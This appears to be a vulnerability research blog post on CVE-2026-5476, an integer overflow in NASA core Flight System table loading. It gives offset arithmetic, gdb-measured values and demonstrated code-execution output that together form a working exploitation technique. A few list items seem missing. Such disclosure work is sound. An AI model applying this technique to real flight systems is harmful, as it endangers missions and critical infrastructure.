Hey. If you don't like the pixel art and unseriousness of this blog, click on the briefcase in the top-left to activate Professional Mode.
Target: NASA core Flight System (cFS), table services (CFE_TBL), 32-bit builds
Research: CVE-2026-5476 sample on GitHub
CVE-2026-5476 (NVD) is an integer overflow in NASA’s core Flight System up to v7.0.0, affecting CFE_TBL_ValidateCodecLoadSize() in cfe/modules/tbl/fsw/src/cfe_tbl_passthru_codec.c on 32-bit targets. The advisory (CWE-190, CVSS 4.0 AV:A/AC:H/PR:L, assessed by VulDB) rates attack complexity high and exploitability difficult. The original report is nasa/cFE#2692.
There are three reasons this bug deserves attention:
The analysis below traces the bug from the upload path to working RCE on two cFS versions.
cFS is a reusable flight-software framework: applications run as tasks under an executive (ES), exchange messages over a software bus (SB), and persist configuration in tables managed by the table services module (TBL). Each table has a registered owner app, a size, a validation callback, and one or two load buffers. TBL is a core service which every cFS deployment runs.
The data path relevant to this CVE:
ground station
| uplink (CCSDS packets)
v
CF application (CFDP file delivery) --> spacecraft filesystem (/cf)
|
v
TBL_LOAD telecommand ----------------> CFE_TBL validates header,
| reads file into load buffer,
| copies to inactive buffer...
v
owner app calls ValidationFuncPtr(table contents)
Uploading a tbl file and issuing TBL_LOAD are normal operations. An attacker who can place a file in /cf and send the load command is using the system exactly as designed, without any exploit required.
cfe_tbl_passthru_codec.c (v7.0.0):
uint32 ActualSize;
uint32 ProjectedSize;
ActualSize = CFE_TBL_RegRecGetSize(CFE_TBL_TxnRegRec(Txn));
ProjectedSize = HeaderPtr->Offset + HeaderPtr->NumBytes; // uint32
if (ProjectedSize > ActualSize)
{
/* reject */
}
Offset and NumBytes are attacker-controlled 32-bit fields from the table file header. Their true sum needs up to 33 bits; computed in uint32, it wraps at 2^32. A wrapped sum is small, so the check passes, and the unwrapped Offset is then handed to CFE_TBL_LoadContentFromFile() in cfe_tbl_load.c, which performs a second gate and then the copy:
size_t LoadTailSize;
LoadTailSize = Offset + NumBytes; // size_t: 4 bytes on 32-bit
if (LoadTailSize > CFE_TBL_LoadBuffGetAllocSize(WorkingBufferPtr))
{
/* reject */
}
...
DestPtr = CFE_TBL_LoadBuffGetWritePointer(WorkingBufferPtr);
DestPtr += Offset; // wraps into .bss on 32-bit
OS_read(FileDescriptor, DestPtr, NumBytes);
The second addition is in size_t. On x86-64 that is 64 bits; two 32-bit inputs cannot wrap it. On a 32-bit build (i386, ARM, SPARC, PPC RTEMS — i.e. actual flight targets) size_t is 32 bits, the addition wraps like the first one, both gates see the same small number and pass, and OS_read runs with a large Offset.
The destination pointer is a load-buffer pointer stored in CFE_TBL_Global, a static structure in .bss. On a non-PIE build the binary loads at a fixed address, so the layout of CFE_TBL_Global and the distance from any load buffer to the adjacent CFE_TBL_RegistryRec_t array containing the per-table validation function pointer is a constant per build. Modular arithmetic on two 32-bit fields then selects an arbitrary destination:
D = BufferPtr - &ValidationFuncPtr (build constant, measured once)
Offset = (-D) mod 2^32 ("add 2^32 - D" == "subtract D")
NumBytes = D + L (L = payload length <= table Size)
In the size check, Offset + NumBytes wraps to exactly L; in the pointer arithmetic, BufferPtr + Offset wraps to &ValidationFuncPtr.
The fix adds a wrap detector to the first site:
ProjectedSize = HeaderPtr->Offset + HeaderPtr->NumBytes;
if (ProjectedSize < HeaderPtr->Offset || ProjectedSize > ActualSize)
A uint32 sum can only come out smaller than one of its operands if it wrapped, so the attack is caught. Note: the second site in cfe_tbl_load.c is unchanged in v7.0.1; its safety is only transitive through the upstream codec check.
git clone https://github.com/nasa/cFS.git && cd cFS
git checkout v7.0.0 && git submodule init && git submodule update
cp cfe/cmake/Makefile.sample Makefile
cp -r cfe/cmake/sample_defs sample_defs
export CFLAGS="-m32 -g" CXXFLAGS="-m32 -g" LDFLAGS="-m32"
make SIMULATION=native prep && make && make install
file build/exe/cpu1/core-cpu1
# build/exe/cpu1/core-cpu1: ELF 32-bit LSB executable, Intel 386,
# dynamically linked, interpreter /lib/ld-linux.so.2,
# with debug_info, not stripped
The very first crafted load against stock v7.0.0 failed before reaching the vulnerable check:
EVS ... 66/1/CFE_TBL 60: LoadFile,app=CFE_TBL,tbl=SAMPLE_APP.ExampleTable:
No working buffers available, stat=0xcc00000f
This is nasa/cFS#892: a v7.0.0 regression breaks TBL_LOAD entirely, which means the regression also blocks the CVE’s only trigger path.
Finding: Theoretically vulnerable, practically unexploitable in stock v7.0.0. The advisory’s “exploitability is told to be difficult” is, precisely, an understatement of this deadlock.
The regression was fixed in cFE@9ba6759, slated for v7.0.1.
CFE_TBL_ValidateCodecLoadSize did not exist before v7.0.0, but the wrapping checks and the wrapped pointer arithmetic did. draco-rc5, the previous release, contains the identical flaw at the cfe_tbl_load.c site with only one upstream gate. So the exploitable surface predates the CVE’s named function. Reproduction was therefore performed on both:
draco-rc5, measured under gdb on the running target:
(gdb) p/x &CFE_TBL_Global.Registry[0].ValidationFuncPtr
$1 = 0x8134518
(gdb) p/x CFE_TBL_Global.LoadBuffs[0].BufferPtr
$2 = 0x813fc70
D = 0xB758, hence Offset = 0xFFFF48A8, NumBytes = 0xB75C. Rather than plant a target address blind, a 4-byte canary (01 02 03 04) was written and the field read back after the load:
(gdb) p/x CFE_TBL_Global.Registry[0].ValidationFuncPtr
$1 = 0x04030201
The math is confirmed. One side effect surfaced immediately: the write also clobbers Registry[0].Name (it lies between the two endpoints), so the table can no longer be located by name.
Zero-filling the entire span between the buffer and the target field also zeroed three fields the TBL state machine relies on: ValidateInactiveIndex, ValidateActiveIndex, and DumpControlIndex (all normally -1 = “no operation pending”):
The fix is to write values rather than zeros: ValidationFuncPtr = &system, ValidateActiveIndex = -1, ValidateInactiveIndex = 0, DumpControlIndex = -1, and the command string at the buffer:
EVS ... CFE_TBL 12: Successful load of '/cf/my.tbl' into
'SAMPLE_APP.SampleAppTable' working buffer
uid=1000(Sibouzbib) gid=1000(Sibouzbib)
groups=1000(Sibouzbib),10(wheel),964(wireshark),968(libvirt) ...
EVS ... CFE_TBL 36: SAMPLE_APP validation successful for Inactive ''
Result: Clean RCE on draco-rc5.
v7.0.0 restructured CFE_TBL_RegistryRec_t: ValidationFuncPtr moved inside Config, the two validation flags were replaced by PendingValId, and the sample table now sits at Registry[1]. Measuring on the live process:
(gdb) p/x &CFE_TBL_Global.Registry[1].Config.ValidationFuncPtr
$1 = 0x8141548
(gdb) p/x CFE_TBL_Global.LoadBuffs[1].BufferPtr
$2 = 0x81522d4
D = 0x10D8C. The first attempt crashed inside the loader before the write could matter: CFE_TBL_GetLoadInProgressBuffer() derives its destination from Registry[1].Status.NextBufferId, which the zero-fill had destroyed, yielding NULL. The value is build-dependent; it was recovered from the binary (0x1A0001) and written back. Since this version’s pending-validation flags were left intact, the legitimate VALIDATE telecommand replaces the nudge:
python3 cfs.py --version v7 --sys 0xf7dcbdd0
uid=1000(Sibouzbib) gid=1000(Sibouzbib)
groups=1000(Sibouzbib),10(wheel),964(wireshark),968(libvirt) ...
EVS ... CFE_TBL 36: SAMPLE_APP validation successful for inactive
'SAMPLE_APP.ExampleTable'
Result: Clean RCE on the CVE’s only exploitable window.
The advisory records affected versions as “up to 7.0.0”. Testing says otherwise: stock v7.0.0 cannot load any table (#892), and the exploitable state existed only between the load-fix commit 9ba6759 and v7.0.1, which is a window of one intermediate commit.
Practical exploitability was bounded by an unrelated regression.
So how much did the fix actually cover? v7.0.1 adds wrap detection to the codec-side check only; the LoadTailSize = Offset + NumBytes addition in CFE_TBL_LoadContentFromFile remains 32-bit wrap-able, protected transitively. Tracing the v7.0.1 call graph shows the one caller routing through the patched codec gate, so today the protection holds. But the fix is a guard at a call site: any future caller that supplies attacker-derived offset/size pairs without the codec check re-opens this CVE. A definitive answer needs a call-graph audit over mission-added code paths, or differential fuzzing of the TBL transaction layer.